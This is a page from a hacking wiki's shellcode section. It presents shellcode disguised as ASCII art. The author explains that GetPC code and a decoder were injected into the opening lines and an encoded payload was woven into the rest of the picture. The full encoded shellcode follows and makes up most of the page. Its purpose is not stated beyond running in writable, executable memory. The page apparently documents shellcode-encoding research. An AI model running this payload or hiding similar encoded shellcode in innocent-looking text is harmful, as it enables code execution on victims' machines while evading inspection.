Hacking/Shellcode/ASCII Art/Organic

From Skypher

Jump to: navigation, search

Main Page
├─▷Programming
└─▼Hacking
  ├─▼Shellcode
  │ ├─▷Bind
  │ ├─○Restricted instruction set
  │ ├─▷Alphanumeric
  │ ├─▼ASCII Art
  │ │ ├─●Organic
  │ │ ├─○Julia
  │ │ └─○Blocky
  │ ├─○kernel32
  │ ├─○GetPC
  │ └─▷Egg hunt
  ├─▷Windows internals
  ├─○Vulnerabilities
  ├─○Heap spraying
  └─○List of security teams contact information


This shellcode was created by manually modifying the original ASCII art in a debugger. It took me a good couple of hours to get working GetPC code and a decoder injected into the first eight lines of the file. I then wrote a tool that encoded and inserted my shellcode into the remaining ASCII Art. The decoder only decodes uppercase characters A-P, which makes it easy to insert the encoded shellcode data without the end result looking much different from the original ASCII Art. The shellcode will only work when it is run in writable & executable memory.

TX        ```  .èÿÿÿÿñë.
           ` .dP*'    "Hh
            dQ7   ```` `8ë '
          .GH' ``'````` AU ``                              .,saaë,.
       ` ,ME: `''``` ` .ëO `   ...                     ,,a3ÿ3þjAXHò®WWë           
      `` AYL  `'.` ,a±H¶P©  ,sƒñGTXu  `               dKK*"'``   ```"*6FCë,  `                               
      ` :ñwš  .', †î¶PKTX² dC²`    *6ò      `        aKF²             ':ñwÉë	 
     `  GÁÉD, '., TX2ñ†7u dt' `'''  'Nh              7L,   ` .éÂþÿÿ,    '@MMD `
     `' :GJLh  .,. "HEI" .O' `'''``  1Mi  `          `7P,..,dHEIJPD;`..` HEIJ!`
     `'` ODFC,  .,..   . dH ..'''''`  EJ, ` `          `'"7HPHJF7*' `.` .JLJ7 `
      `` :HNPLh  .',.'`` OJ  ````.''  :Mi `'`                      `   ,JCJ*
       `` 7HKGCh  `,"''` MJN,. ``'..` 'MP `''```        ``````````   ,iHE*
       `'  "ALEKP. ` .NN !EBOGGh `,,, `JJ .'` `           ```````  oEF"'
       `''` `MMMNKh 1NJH  1IIIMMN ,,. 'KA ` .sNs.  .sEBs, `      .OC"
       ``'.' `JHEADh 1AM'  1FFLOK "'" ¦O!  LO"'7K,dO" 'KI  .siKOK7'
           '.  7IHCI, BB! ,.`""'  d,  iF E P:` .H!OMDCM7` dI"' i7
 `   .dKPb, .,  JGKAA 1Ki ''` ., dIA !D7!G Ki  d7 7K, :I,dJ'   P: ```
`  .HEKCMDH, ,, lEKDO 'CI !HP'`' 'MC iC iH EL EN'. "PP7' MD,  iC!``````
  ,MMAAGGL7  .,.`IHEM `LE`iG ,PM. A7 K7.Fl "`dD" "!.. .`,`*7ML71,       `
 .ION7Ý**"  ..", FCP7 !MDiI,  7OI,K!i7 AI! ,MF' `'`'"`"..`,.  .sKLi:,,
 NL7       `'..`.ODI' iKB"FHE' 7LE7,N'i*" .LPMDCPAEIM,   `., iDIGHELEODs,
:PM  ` ` ``'.'` :DC7 !PM . ND: 'E7,i7 .GG77**"""*KKAFEKIJ, ` "OMEAIFD"'*IK,
`EL  ```'''```` KB7  dF! ' dC  d7 iA.AC"`.; dPF, ,. "CAACPGK, '****"  .   Eh
 7H; ``''````` iP7  dNI` .dJ .P7 iE7"   ;i dMDJJ ".'   "GHKPKL,    . .,.`  "h
 `FC, `````  .iK:  `   ,KA" ACP l7` .," HK 'DPI7 .'''`    "LAHGGK,  '"''`'` N!
   *KN,.  .,HC*`  `.dIDN"  iL7 "`  `,," 7M, .LF` ````````    "EDJLIAO,, ` .PO
     `"7FE*'`   `` "FE'  .KI;  .Kic ...  *LK7"   `        ``    `"NKNKNKLKNK`
                      ``.NK;  JKNAAl````                            ''"""''
                     `` KJ* `'BLHELl`````
                       :JA` ` "DBE7````
                       !Ch, `` lG7  `
                        "lPs..sP'  `
                          `"**'`
Personal tools